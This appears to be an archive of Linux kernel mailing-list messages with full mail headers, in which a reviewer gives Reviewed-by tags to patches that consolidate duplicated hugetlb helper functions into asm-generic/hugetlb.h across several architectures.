> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 3562d46585ba..7123599089c6 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  	flush_hugetlb_page(vma, addr);
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
>  				      unsigned long addr, pte_t *ptep,
>  				      pte_t pte, int dirty);
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index a9f8266f33cf..54f65094efe6 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index 11115bbd712e..f661362376e0 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index c5fdc53b6e41..19668672ab37 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -27,11 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline pte_t huge_pte_wrprotect(pte_t pte)
> -{
> -	return pte_wrprotect(pte);
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index 2fc3d68424e9..cd9697672b79 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
> +static inline pte_t huge_pte_wrprotect(pte_t pte)
> +{
> +	return pte_wrprotect(pte);
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 08/11] hugetlb: Introduce generic version of
 prepare_hugepage_range
Date: Thu, 26 Jul 2018 12:05:58 -0700
Lines: 220
Approved: news@gmane.org
Message-ID: <5f2bebab-4ee9-bdbe-fcaa-445d6fd2dc69@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-9-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631906 582 195.159.176.226 (26 Jul 2018 19:05:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:05:06 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 21:04:59 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filZL-0008Qs-6Y
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 21:04:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=gCKLbjwZgt9ovFyuVIiHCnh51Ozzpi6th8S9oIwsjF8=; b=ECHa4RkKK2zvGkoU4nSSulo9zB
	soU1ycozpEdblndfKgeXPxRtskH3nQ9YWBCH+6QRgFAzBCoX3n2Xy+6aevxTMvGa8Dh2oPPWfEOlo
	CJAIyppcYjbbxVlfpp2774jrIdGBA3VEEvYrz2kFSxWh5bZDMEZviYXizkP1NztxMhXaMoOjaZyDp
	bswf991EYYDMnArosKrL/0CzPAQ2D2OggkqTF6DtWcSNmax7ZgAmLgLuVNj592iWNNHbTRV63AZft
	1Rj2YMfGgT6NJIezd3TvVcCM8RDWTbxf5Exl3wrieWZ08cMrUuyK+IX/cL9wTJ6yT/Co7adE+++Oz
	ctDfJt5A==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filbQ-0002bB-Gr; Thu, 26 Jul 2018 19:07:08 +0000
Original-Received: from userp2120.oracle.com ([156.151.31.85])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filb9-0002IZ-Mk
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 19:06:53 +0000
Original-Received: from pps.filterd (userp2120.oracle.com [127.0.0.1])
 by userp2120.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJ4DK5105529;
 Thu, 26 Jul 2018 19:06:06 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=WGoUUz9BkNtdGRir8msjK3/dVbXBDQ3LTSOBL9+GNjU=;
 b=Ts0MglRmZrqe2fpyu2QuqOCC1DsnvX7o1MEh7yKWc8YgPUrN+Fc9GWbPp5WwRrMdEsqv
 65owBUVkEgFo0mxLyCsriarQOFu2PXio3ND2POktBlkIsbVQGTvasmruNIKFvK8wRy/U
 Tqy1VdReIfDOfEbcUonkAZi3op04Sd5lZXOxsYpjNShTKjDDVZX+8rceipgxsZ8dv4Ze
 goWornY63uYgIjWar4N61kVvzXNTw4OyBpkTb29KUkY0kSxjZ0GPjgLykIae74GkMsD/
 2HNLEOQdfBpLkjN8Dhz/stguIcxWEb6HvT/mOC2qIm+WTXR3uxfsGs+MY/BDpL9aP1kB /Q== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by userp2120.oracle.com with ESMTP id 2kbwfq4e11-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:06:06 +0000
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ64w8000580
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 19:06:04 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
 by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ62mH004393;
 Thu, 26 Jul 2018 19:06:02 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 12:06:01 -0700
In-Reply-To: <20180705110716.3919-9-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=2
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=999
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260195
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_120651_873629_2A8B13A4 
X-CRM114-Status: GOOD (  25.72  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [156.151.31.85 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:666280 gmane.linux.kernel:2831687 gmane.linux.ports.ia64:28969 gmane.linux.ports.mips.general:65685 gmane.linux.ports.parisc:28831 gmane.linux.ports.ppc64.devel:160476 gmane.linux.ports.sh.devel:57266 gmane.linux.ports.sparc:28127 gmane.linux.kernel.cross-arch:45504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/666280>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, arm64, powerpc, sparc, x86 architectures use the same version of
> prepare_hugepage_range, so move this generic implementation into
> asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb.h     | 11 -----------
>  arch/arm64/include/asm/hugetlb.h   | 11 -----------
>  arch/ia64/include/asm/hugetlb.h    |  1 +
>  arch/mips/include/asm/hugetlb.h    |  1 +
>  arch/parisc/include/asm/hugetlb.h  |  1 +
>  arch/powerpc/include/asm/hugetlb.h | 15 ---------------
>  arch/sh/include/asm/hugetlb.h      |  1 +
>  arch/sparc/include/asm/hugetlb.h   | 16 ----------------
>  arch/x86/include/asm/hugetlb.h     | 15 ---------------
>  include/asm-generic/hugetlb.h      | 15 +++++++++++++++
>  10 files changed, 19 insertions(+), 68 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
> index 1e718a626ef9..34fb401efe81 100644
> --- a/arch/arm/include/asm/hugetlb.h
> +++ b/arch/arm/include/asm/hugetlb.h
> @@ -32,17 +32,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline int prepare_hugepage_range(struct file *file,
> -					 unsigned long addr, unsigned long len)
> -{
> -	struct hstate *h = hstate_file(file);
> -	if (len & ~huge_page_mask(h))
> -		return -EINVAL;
> -	if (addr & ~huge_page_mask(h))
> -		return -EINVAL;
> -	return 0;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  	clear_bit(PG_dcache_clean, &page->flags);
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 1fd64ebf0cd7..3e7f6e69b28d 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -static inline int prepare_hugepage_range(struct file *file,
> -					 unsigned long addr, unsigned long len)
> -{
> -	struct hstate *h = hstate_file(file);
> -	if (len & ~huge_page_mask(h))
> -		return -EINVAL;
> -	if (addr & ~huge_page_mask(h))
> -		return -EINVAL;
> -	return 0;
> -}
> -
>  static inline void arch_clear_hugepage_flags(struct page *page)
>  {
>  	clear_bit(PG_dcache_clean, &page->flags);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 82fe3d7a38d9..cbe296271030 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>  			    unsigned long end, unsigned long floor,
>  			    unsigned long ceiling);
>  
> +#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
>  int prepare_hugepage_range(struct file *file,
>  			unsigned long addr, unsigned long len);
>  
> diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
> index b3d6bb53ee6e..6ff2531cfb1d 100644
> --- a/arch/mips/include/asm/hugetlb.h
> +++ b/arch/mips/include/asm/hugetlb.h
> @@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> +#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
>  static inline int prepare_hugepage_range(struct file *file,
>  					 unsigned long addr,
>  					 unsigned long len)
> diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
> index 5a102d7251e4..fb7e0fd858a3 100644
> --- a/arch/parisc/include/asm/hugetlb.h
> +++ b/arch/parisc/include/asm/hugetlb.h
> @@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>   * If the arch doesn't supply something else, assume that hugepage
>   * size aligned regions are ok without further preparation.
>   */
> +#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
>  static inline int prepare_hugepage_range(struct file *file,
>  			unsigned long addr, unsigned long len)
>  {
> diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
> index 7123599089c6..69c14ecac133 100644
> --- a/arch/powerpc/include/asm/hugetlb.h
> +++ b/arch/powerpc/include/asm/hugetlb.h
> @@ -117,21 +117,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
>  			    unsigned long end, unsigned long floor,
>  			    unsigned long ceiling);
>  
> -/*
> - * If the arch doesn't supply something else, assume that hugepage
> - * size aligned regions are ok without further preparation.
> - */
> -static inline int prepare_hugepage_range(struct file *file,
> -			unsigned long addr, unsigned long len)
> -{
> -	struct hstate *h = hstate_file(file);
> -	if (len & ~huge_page_mask(h))
> -		return -EINVAL;
> -	if (addr & ~huge_page_mask(h))
> -		return -EINVAL;
> -	return 0;
> -}
> -
>  #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
>  static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
>  					    unsigned long addr, pte_t *ptep)
> diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
> index 54f65094efe6..f1bbd255ee43 100644
> --- a/arch/sh/include/asm/hugetlb.h
> +++ b/arch/sh/include/asm/hugetlb.h
> @@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>   * If the arch doesn't supply something else, assume that hugepage
>   * size aligned regions are ok without further preparation.
>   */
> +#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
>  static inline int prepare_hugepage_range(struct file *file,
>  			unsigned long addr, unsigned long len)
>  {
> diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
> index f661362376e0..2101ea217f33 100644
> --- a/arch/sparc/include/asm/hugetlb.h
> +++ b/arch/sparc/include/asm/hugetlb.h
> @@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -/*
> - * If the arch doesn't supply something else, assume that hugepage
> - * size aligned regions are ok without further preparation.
> - */
> -static inline int prepare_hugepage_range(struct file *file,
> -			unsigned long addr, unsigned long len)
> -{
> -	struct hstate *h = hstate_file(file);
> -
> -	if (len & ~huge_page_mask(h))
> -		return -EINVAL;
> -	if (addr & ~huge_page_mask(h))
> -		return -EINVAL;
> -	return 0;
> -}
> -
>  #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
>  static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  					 unsigned long addr, pte_t *ptep)
> diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
> index 19668672ab37..2e5117d37c7d 100644
> --- a/arch/x86/include/asm/hugetlb.h
> +++ b/arch/x86/include/asm/hugetlb.h
> @@ -12,21 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
>  	return 0;
>  }
>  
> -/*
> - * If the arch doesn't supply something else, assume that hugepage
> - * size aligned regions are ok without further preparation.
> - */
> -static inline int prepare_hugepage_range(struct file *file,
> -			unsigned long addr, unsigned long len)
> -{
> -	struct hstate *h = hstate_file(file);
> -	if (len & ~huge_page_mask(h))
> -		return -EINVAL;
> -	if (addr & ~huge_page_mask(h))
> -		return -EINVAL;
> -	return 0;
> -}
> -
>  static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
>  					   unsigned long addr, pte_t *ptep)
>  {
> diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
> index cd9697672b79..6c0c8b0c71e0 100644
> --- a/include/asm-generic/hugetlb.h
> +++ b/include/asm-generic/hugetlb.h
> @@ -87,4 +87,19 @@ static inline pte_t huge_pte_wrprotect(pte_t pte)
>  }
>  #endif
>  
> +#ifndef __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
> +static inline int prepare_hugepage_range(struct file *file,
> +		unsigned long addr, unsigned long len)
> +{
> +	struct hstate *h = hstate_file(file);
> +
> +	if (len & ~huge_page_mask(h))
> +		return -EINVAL;
> +	if (addr & ~huge_page_mask(h))
> +		return -EINVAL;
> +
> +	return 0;
> +}
> +#endif
> +
>  #endif /* _ASM_GENERIC_HUGETLB_H */
> 

From - Thu Nov 08 21:41:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 06/11] hugetlb: Introduce generic version of
 huge_pte_none
Date: Thu, 26 Jul 2018 12:04:22 -0700
Lines: 182
Approved: news@gmane.org
Message-ID: <83774c94-e71c-a416-4b1b-e005f496aaa0@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-7-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532631951 3789 195.159.176.226 (26 Jul 2018 19:05:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 19:05:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 21:05:44 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fila3-0000oH-Q8
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 21:05:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731604AbeGZU0C (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 16:26:02 -0400
Original-Received: from aserp2130.oracle.com ([141.146.126.79]:49920 "EHLO
        aserp2130.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730068AbeGZU0C (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 16:26:02 -0400
Original-Received: from pps.filterd (aserp2130.oracle.com [127.0.0.1])
        by aserp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QJ48L7131229;
        Thu, 26 Jul 2018 19:04:29 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com; h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=ggCUTXrmAIWdqhYtXOvu6Kc2GlTU8+GqxX/Qp17uVbc=;
 b=KGnn6kzUYubPHfLB0FPC2R+uSOnQr3STUzAAhEgiVAy4rKaoqTaxaMZS6XkXxH7b1/zY
 WxYTVABw5rcyIwHqVtm0nnCFCxoCVjPsnrEqjZMgZpLjP4gIlCfH7bW3GEBX0iFRmV8M
 e7AN18CxN38Jo/Hp8JT9/Z+Yfyxh+xang6JLPlDgwFijr7+Nz24iVBXlUNLvrgzFnS1r
 LmmbRrsv60D5iVK8oqhj7n5VdGSiaSNMvxl+/6ZRRlpuJ82svB3NsRamJB5PANm8tELi
 otJfQPPA89f0l6H8F4ceEu2SQtAXNGwJNawKripa+BNQU39xMEwYIu/g1dIurud7pyFg xg== 
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by aserp2130.oracle.com with ESMTP id 2kbtbd4jt2-1
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 26 Jul 2018 19:04:29 +0000
Original-Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ4RS8030743
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Thu, 26 Jul 2018 19:04:28 GMT
Original-Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22])
        by aserv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QJ4PUX013328;
        Thu, 26 Jul 2018 19:04:26 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Thu, 26 Jul 2018 12:04:25 -0700
In-Reply-To: <20180705110716.3919-7-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=999
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260195
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831689 gmane.linux.ports.arm.kernel:666282 gmane.linux.ports.ia64:28970 gmane.linux.ports.mips.general:65686 gmane.linux.ports.parisc:28832 gmane.linux.ports.ppc64.devel:160477 gmane.linux.ports.sh.devel:57267 gmane.linux.ports.sparc:28128 gmane.linux.kernel.cross-arch:45505
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831689>

On 07/05/2018 04:07 AM, Alexandre Ghiti wrote:
> arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
> use the same version of huge_pte_none, so move this generic
> implementation into asm-generic/hugetlb.h.
> 

Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
-- 
Mike Kravetz

> Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
> ---
>  arch/arm/include/asm/hugetlb.h     | 5 -----
>  arch/arm64/include/asm/hugetlb.h   | 5 -----
>  arch/ia64/include/asm/hugetlb.h    | 5 -----
>  arch/mips/include/asm/hugetlb.h    | 1 +
>  arch/parisc/include/asm/hugetlb.h  | 5 -----
>  arch/powerpc/include/asm/hugetlb.h | 5 -----
>  arch/sh/include/asm/hugetlb.h      | 5 -----
>  arch/sparc/include/asm/hugetlb.h   | 5 -----
>  arch/x86/include/asm/hugetlb.h     | 5 -----
>  include/asm-generic/hugetlb.h      | 7 +++++++
>  10 files changed, 8 insertions(+), 40 deletions(-)
> 
> diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
> index 047b893ef95d..3d2ce4dbc145 100644
> --- a/arch/arm/include/asm/hugetlb.h
> +++ b/arch/arm/include/asm/hugetlb.h
> @@ -43,11 +43,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
> index 4c8dd488554d..49247c6f94db 100644
> --- a/arch/arm64/include/asm/hugetlb.h
> +++ b/arch/arm64/include/asm/hugetlb.h
> @@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
>  	return 0;
>  }
>  
> -static inline int huge_pte_none(pte_t pte)
> -{
> -	return pte_none(pte);
> -}
> -
>  static inline pte_t huge_pte_wrprotect(pte_t pte)
>  {
>  	return pte_wrprotect(pte);
> diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
> index 41b5f6adeee4..bf573500b3c4 100644
> --- a/arch/ia64/include/asm/hugetlb.h
> +++ b/arch/ia64/include/asm/hugetlb.h
> @@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
>  {
